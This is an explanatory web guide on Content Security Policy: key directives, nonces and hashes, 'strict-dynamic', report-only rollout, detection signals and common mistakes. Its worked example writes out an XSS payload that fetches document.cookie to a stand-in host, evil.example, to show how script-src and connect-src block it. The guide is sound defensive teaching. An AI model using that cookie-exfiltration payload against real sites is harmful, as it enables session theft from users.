Content Security Policy Explained: Stopping XSS with CSP
How Content Security Policy works: the directives that matter, how it blocks XSS and injection, nonces vs hashes, and a safe report-only rollout.
A cross-site scripting bug lets an attacker run their JavaScript in your users' browsers, with all the access your own scripts have. Content Security Policy is the browser feature that can stop that injected script from running even after the bug has put it on the page. It works as an allowlist. You tell the browser exactly which sources of script, style, images, and other content are legitimate, and the browser blocks everything outside that list.
CSP is a defense-in-depth control. It does not fix the injection flaw that let the payload onto the page. It removes the payload's ability to do anything once it lands, which is often the difference between a logged alert and a stolen session. (Fix the injection too; CSP is the safety net under it.)
What a policy looks like
A policy travels in the Content-Security-Policy response header. It is a set of directives, each naming a resource type and the sources allowed for it, separated by semicolons.
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'
Each directive takes a list of source expressions. Common ones are 'self' (the page's own origin), an explicit host like https://cdn.example.com, the keywords 'none' and 'unsafe-inline', a scheme like data:, and the nonce and hash forms covered below. The default-src directive is the fallback: any fetch directive you do not set explicitly inherits from it, so a tight default-src 'self' gives you a sane baseline before you loosen individual pieces.
The directives that matter
You do not need every directive. A handful carry most of the security value.
| Directive | What it controls | Typical value |
|---|---|---|
| default-src | Fallback for most fetch directives | 'self' |
| script-src | Where scripts may load and run from | 'self' plus a nonce |
| style-src | Where stylesheets may load from | 'self' |
| img-src | Image sources | 'self' data: |
| connect-src | Targets for fetch, XHR, WebSocket | 'self' https://api.example.com |
| frame-ancestors | Who may embed this page in a frame | 'none' or 'self' |
| base-uri | Allowed values for the page base URL | 'self' |
| form-action | Where forms may submit | 'self' |
| object-src | Plugin content | 'none' |
| report-to | Where violation reports are sent | a named reporting endpoint |
Two of these blunt attacks that have nothing to do with script loading. frame-ancestors 'none' stops your page from being framed, which is the modern replacement for the X-Frame-Options header and the core clickjacking defense. base-uri 'self' stops an injected base tag from silently redirecting every relative URL on the page to an attacker's host.
How CSP stops XSS
Reflected and stored XSS both work by getting the browser to treat attacker data as executable script. CSP breaks that in a few ways at once. Inline event handlers and inline script blocks are refused unless they carry a matching nonce or hash. eval and its relatives are refused unless you opt in with 'unsafe-eval'. Scripts loaded from an origin not on the allowlist are refused outright. An attacker who injects <script>steal()</script> finds it has no permitted source, so the browser never executes it and files a violation report instead.
The weak point is 'unsafe-inline'. If your script-src includes it, every inline script on the page is allowed, which is exactly what an injected inline payload is. A policy with 'unsafe-inline' in script-src provides almost no XSS protection. The whole modern approach exists to let you keep the inline scripts you wrote while blocking the ones an attacker injects.
Beyond XSS: containing exfiltration
Blocking the injected script from running is the first win. CSP also limits the damage when script does run, which matters against payloads that arrive through a route CSP cannot stop, such as a compromised third-party dependency. The connect-src directive is the lever here. It controls where the page may open network connections, so even a script that executes cannot phone stolen data home to an attacker's server unless that host is on the allowlist. A tight connect-src 'self' https://api.example.com turns "steal the session and POST it out" into a blocked request.
Two more directives clean up common weaknesses. form-action 'self' stops an injected form from submitting credentials to an external host. upgrade-insecure-requests rewrites any stray http:// subresource to https:// before it is fetched, closing passive mixed-content leaks. None of these replace fixing the injection, and together they shrink the blast radius of the ones you miss.
Nonces versus hashes
There are two ways to allow specific inline scripts without opening the door to all of them.
A nonce is a random, unguessable value your server generates fresh on every response. You put it in the header and on each script tag you trust:
Content-Security-Policy: script-src 'nonce-r4nd0m2026' 'self'
<script nonce="r4nd0m2026">/* your trusted inline script */</script>The browser runs only scripts whose nonce attribute matches the header value. Because the value changes every response and never appears in the page an attacker can pre-read, injected script cannot guess it. The catch is that the value must be genuinely random per response, so nonces suit server-rendered pages.
A hash pins the exact content of a known inline script. You compute the SHA-256 of the script bytes and list it:
Content-Security-Policy: script-src 'sha256-Base64HashOfTheScript' 'self'
The browser hashes each inline script and runs only those whose digest is on the list. Hashes suit static content where the script text does not change, since any edit changes the hash. Nonces suit dynamic pages.
The 'strict-dynamic' keyword pairs with either. It says that a script already trusted by a nonce or hash may load further scripts, and the browser should trust those by propagation rather than by host allowlist. This lets a modern bundler load its chunks without you enumerating every CDN path, while injected script, which is never trusted in the first place, gets no such propagation.
Adding 'unsafe-inline' to script-src allows every inline script, which is exactly what an XSS payload becomes. A nonce or hash allowlist gives you the inline scripts you control while still blocking injected ones. Browsers that understand nonces ignore 'unsafe-inline' when a nonce is present, so you can keep it purely as a fallback for very old clients without weakening current ones.
Report-Only and a safe rollout
Shipping a strict policy blind will break something: a third-party widget, an inline handler you forgot, a stray CDN. CSP has a mode for exactly this. The Content-Security-Policy-Report-Only header applies a policy without enforcing it. Nothing is blocked; every violation is reported. You watch the reports, fix the real gaps, and only then move the policy into the enforcing header.
Reporting is wired up with the report-to directive, which names an endpoint defined by a Reporting-Endpoints header. The browser posts a JSON report there each time the policy is violated, telling you the blocked resource and the directive that stopped it. In report-only mode this is your tuning signal. In enforcing mode it is your early warning that an injection attempt (or a broken deploy) is happening in production.
A workable sequence:
- Deploy a strict candidate policy in
Content-Security-Policy-Report-Only. - Collect reports from real traffic for a week or two.
- Resolve each legitimate violation by adding a nonce, a hash, or a specific source, never by adding
'unsafe-inline'. - Move the tuned policy into the enforcing
Content-Security-Policyheader. - Keep a report-only header alongside it to test your next change safely.
Our Exploit Intelligence dashboard tracks live injection and cross-site scripting vulnerabilities and the payloads seen against them, which helps you decide which script and connect sources a strict policy most needs to lock down first.
A worked example: an injected script meeting a policy
Following one XSS payload as it hits a strict policy makes the mechanism concrete. Suppose an attacker finds a reflected injection point and manages to place <script>fetch('https://evil.example/?c='+document.cookie)</script> into the rendered page. The page ships with this header:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-a1b2c3'; connect-src 'self' https://api.example.com; object-src 'none'; base-uri 'self'
Walk through what the browser does with the injected tag.
- The script has no permitted source. The policy's
script-srcallows scripts from the page's own origin and any inline script carrying the noncea1b2c3. The injected inline script carries no nonce, because the attacker never saw the per-response value. It matches neither allowed form. - The browser refuses to execute it. Since the inline script is not covered by a nonce, a hash, or
'unsafe-inline'(which the policy deliberately omits), the browser does not run it. The payload sits in the DOM as inert text. - A violation report fires. The browser records that
script-srcblocked an inline script and, if a reporting endpoint is configured, posts a report describing the violation. In production that report is an early warning that an injection attempt is happening. - Even a successful script would be contained. Imagine the attacker instead smuggled their code into a route CSP cannot stop, such as a trusted script that was itself compromised. The
connect-srcdirective still allows connections only to the page's origin and one named API host. The attempt tofetchthe cookie toevil.exampleis blocked because that host is not on the connect allowlist. The exfiltration fails at the network step.
The example shows CSP working at two layers. First it stops the injected script from ever running. Then, as a fallback for payloads that arrive some other way, it constrains what a running script can reach. An attacker needs to defeat both the script directive and the connection directive to turn an injection into stolen data, which is a much taller order than exploiting the injection alone.
Detection signals
A deployed policy is also a sensor. The violation reports it generates, and a few related signals, tell you when something is wrong.
- A spike in script-src violations from real users. In enforcing mode, a sudden rise in blocked inline scripts often means an active injection attempt in production, or a deploy that shipped an inline script without its nonce. Either way it deserves immediate attention.
- connect-src violations to unfamiliar hosts. Reports of blocked connections to domains you do not recognize can indicate a compromised dependency trying to exfiltrate data to a host the policy refuses.
- A flood of violations right after a release. A new analytics tag, payment widget, or CDN that the policy was not updated for produces a burst of legitimate violations. This is the signal that a code change outran its policy change.
- Reports naming a directive you thought was unused. Violations against base-uri or form-action can surface injection techniques aimed at hijacking relative URLs or redirecting form submissions, which are easy to overlook.
- Silence where you expected reports. If a report-only rollout produces no reports at all, verify the reporting endpoint is actually receiving posts. No signal often means broken wiring rather than a clean policy.
The reporting endpoint turns CSP from a static wall into a feedback loop. In report-only mode the reports tune the policy, and in enforcing mode they warn you about both attacks and broken deploys.
Common mistakes
CSP is easy to deploy in a way that looks protective and is not. The recurring errors:
- Leaving
'unsafe-inline'inscript-src. This single keyword allows every inline script, which is exactly what an injected payload becomes. A policy with it provides almost no XSS protection, whatever else it contains. - Allowlisting a whole CDN that hosts everything. Permitting a broad host that serves arbitrary user or library content can let an attacker load a script from a path on that same host, defeating the allowlist. Narrow sources beat broad ones.
- Forgetting the non-script directives. A policy that locks down scripts but leaves
object-src,base-uri,frame-ancestors, andform-actionunset leaves open lanes for plugin content, base-tag hijacking, clickjacking, and form exfiltration. - Reusing a nonce across responses. A nonce only works if it is random and fresh every response. A static or predictable nonce is guessable, and an injected script can simply include it, which collapses the protection.
- Treating CSP as the fix for XSS. CSP is defense in depth. It does not repair the injection flaw. Output encoding and input validation still have to fix the bug; CSP is the safety net for the cases those miss.
- Enforcing a strict policy without a report-only trial. Shipping straight to enforcement almost always breaks a legitimate widget or inline handler. The report-only stage exists to find those against real traffic before anything is blocked.
How CSP relates to other header defenses
CSP overlaps with several older security headers, and knowing which it replaces avoids redundant or conflicting configuration.
| Protection | Older mechanism | CSP equivalent |
|---|---|---|
| Clickjacking (framing control) | X-Frame-Options | frame-ancestors |
| Mixed-content upgrade | manual rewriting | upgrade-insecure-requests |
| Restricting where scripts load | none, relied on code review | script-src with nonces or hashes |
| Limiting outbound connections | none | connect-src |
| Restricting form targets | none | form-action |
The frame-ancestors directive is the clearest case: it supersedes X-Frame-Options and is more expressive, letting you name multiple permitted ancestors. Where a modern CSP directive exists, it is generally the one to rely on, with the legacy header kept only as a fallback for very old clients that do not understand CSP.
How it evolved
CSP grew out of a simple observation: escaping output stops most XSS, and the rest slips through, so browsers needed a second line that could refuse injected script even after a bug put it on the page. The earliest version leaned on host allowlists, telling the browser which origins could serve scripts. That worked for cleanly separated sites and struggled with the reality of inline scripts and event handlers, which host allowlists cannot distinguish from injected ones.
The answer was nonces and hashes, which let a page mark the specific inline scripts it trusts while refusing everything else, so a site could keep its own inline code and still block an attacker's. Layered on top, the 'strict-dynamic' keyword let a trusted script load its own further scripts by propagation, which fit how modern bundlers actually work and removed the need to enumerate every CDN path. The direction of travel across versions has been consistent: away from brittle host allowlists and toward trusting explicit, per-response markers, because that is what actually separates first-party script from injected script.
Reporting matured alongside enforcement. The report-only header and a structured reporting endpoint turned policy authoring from guesswork into a measured rollout, where a candidate policy is tested against live traffic and tuned before it can break anything. That workflow is now the standard way a strict policy reaches production.
How to secure it
- Start from
default-src 'self'and open only the specific directives you need. A tight fallback means a directive you forget still fails closed. - Build
script-srcon nonces or hashes, never'unsafe-inline'. Add'strict-dynamic'if a bundler needs to load its own chunks. - Set the non-script directives too.
frame-ancestors 'none'for clickjacking,base-uri 'self'to block base-tag hijacking,object-src 'none'to kill legacy plugin vectors,form-action 'self'to stop form exfiltration. - Add a reporting endpoint and read what comes back, in both report-only and enforcing modes.
- Roll out in report-only first. Tune against real traffic, then enforce.
- Treat CSP as a layer, not the fix. Keep escaping output and validating input. CSP catches what those miss.
- Review the policy when the app changes. A new analytics tag, payment widget, or CDN adds a source your policy will block. Fold CSP into your release checklist so a legitimate change ships with its source, tested first in report-only.
A good policy is boring to read and quietly refuses everything you did not sanction. Get the script directive right, wire up reporting, and roll it out through report-only, and CSP turns a working XSS bug into a blocked request and a log line.
Frequently asked questions
Does CSP fix cross-site scripting? No, it contains it. CSP does not repair the injection flaw that let a payload onto the page. It stops that payload from executing and limits what it can reach if it does run. Output encoding and input validation still have to fix the underlying bug. CSP is the defense-in-depth layer that catches the cases those miss.
Should I use a nonce or a hash?
Use a nonce for server-rendered pages where you can generate a fresh random value on every response, which is the common case. Use a hash for static inline scripts whose text never changes, since any edit changes the hash. Both let you drop 'unsafe-inline' and allow only the specific inline scripts you trust. The deciding factor is whether the content is dynamic or static.
Why is 'unsafe-inline' so harmful in script-src?
Because it allows every inline script on the page, and an injected XSS payload is an inline script. A policy that includes it in script-src gives an attacker's inline code the same permission as your own, which removes almost all of CSP's XSS value. Browsers that understand nonces ignore 'unsafe-inline' when a nonce is present, so you can keep it only as a fallback for very old clients.
Can I add CSP with a meta tag instead of a header?
You can deliver a policy through a meta tag, and it has limits. Some directives, notably frame-ancestors and the reporting directives, only work when the policy arrives as a response header. The header is the more capable and recommended delivery method, with the meta tag reserved for cases where you cannot set headers.
Will CSP break my third-party widgets?
It can, if their sources are not on your allowlist, which is exactly why the report-only rollout exists. Deploy the policy in report-only mode first, watch the violation reports for legitimate widgets and CDNs, and add their specific sources before you enforce. Resolve each real violation with a nonce, a hash, or a narrow source, never by adding 'unsafe-inline'.
What does connect-src protect against that script-src does not?
script-src stops an injected script from running. connect-src limits where any running script may open network connections, so even a script that executes through some route CSP could not block cannot send stolen data to an arbitrary host. It is the containment layer that turns a successful injection into a blocked exfiltration request.
Does frame-ancestors replace X-Frame-Options?
Yes, for browsers that support it. frame-ancestors controls who may embed your page and is more expressive than X-Frame-Options, allowing multiple named ancestors. Keep X-Frame-Options only as a fallback for very old clients that do not understand the CSP directive.
What does 'strict-dynamic' actually do?
It says a script already trusted by a nonce or hash may load further scripts, and the browser should trust those by propagation rather than by checking them against the host allowlist. This lets a modern bundler pull in its own chunks without you enumerating every path, while injected script, which is never trusted in the first place, receives no such propagation and is still blocked.
Related guides
Sources & further reading
Related guides
- Clickjacking Explained: UI Redress Attacks & Frame Defenses
How clickjacking hijacks a user's clicks with transparent iframes, what an attacker can trigger, and how to block framing with headers and CSP.
- OWASP Top 10 Explained with Examples
A practical breakdown of the OWASP Top 10 (2021) with real vulnerability examples, payloads, and fixes every developer and pentester should know.
- Command Injection: Shell Metacharacters & Safe APIs
How OS command injection breaks out of an intended command via shell metacharacters, and why argument-array APIs beat string concatenation.